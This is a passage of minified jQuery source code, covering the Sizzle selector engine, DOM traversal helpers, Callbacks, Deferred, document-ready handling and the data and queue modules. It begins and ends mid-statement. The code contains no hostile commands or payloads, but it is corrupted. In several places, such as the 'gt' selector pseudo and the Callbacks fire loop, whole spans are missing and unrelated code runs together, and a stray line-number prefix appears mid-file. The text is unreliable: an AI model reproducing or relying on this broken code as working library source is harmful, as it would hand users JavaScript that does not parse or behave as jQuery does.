H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return h.call(b,a)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&f.parentNode&&(this.length=1,this[0]=f),this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?void 0!==c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?h.call(n(a),this[0]):h.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||n.uniqueSort(e),D.test(a)&&e.reverse()),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.removeEventListener("DOMContentLoaded",J),a.removeEventListener("load",J),n.ready()}n.ready.promise=function(b){return I||(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(n.ready):(d.addEventListener("DOMContentLoaded",J),a.addEventListener("load",J))),I.promise(b)},n.ready.promise();var K=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)K(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},L=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function M(){this.expando=n.expando+M.uid++}M.uid=1,M.prototype={register:function(a,b){var c=b||{};return a.nodeType?a[this.expando]=c:Object.defineProperty(a,this.expando,{value:c,writable:!0,configurable:!0}),a[this.expando]},cache:function(a){if(!L(a))return{};var b=a[this.expando];return b||(b={},L(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[b]=c;else for(d in b)e[d]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=a[this.expando];if(void 0!==f){if(void 0===b)this.register(a);else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in f?d=[b,e]:(d=e,d=d in f?[d]:d.match(G)||[])),c=d.length;while(c--)delete f[d[c]]}(void 0===b||n.isEmptyObject(f))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!n.isEmptyObject(b)}};var N=new M,O=new M,P=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Q=/[A-Z]/g;function R(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Q,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:P.test(c)?n.parseJSON(c):c;
3 | }catch(e){}O.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return O.hasData(a)||N.hasData(a)},data:function(a,b,c){return O.access(a,b,c)},removeData:function(a,b){O.remove(a,b)},_data:function(a,b,c){return N.access(a,b,c)},_removeData:function(a,b){N.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=O.get(f),1===f.nodeType&&!N.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),R(f,d,e[d])));N.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){O.set(this,a)}):K(this,function(b){var c,d;if(f&&void 0===b){if(c=O.get(f,a)||O.get(f,a.replace(Q,"-$&").toLowerCase()),void 0!==c)return c;if(d=n.camelCase(a),c=O.get(f,d),void 0!==c)return c;if(c=R(f,d,void 0),void 0!==c)return c}else d=n.camelCase(a),this.each(function(){var c=O.get(this,d);O.set(this,d,b),a.indexOf("-")>-1&&void 0!==c&&O.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){O.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=N.get(a,b),c&&(!d||n.isArray(c)?d=N.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return N.get(a,c)||N.access(a,c,{empty:n.Callbacks("once memory").add(function(){N.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length",""],thead:[1,"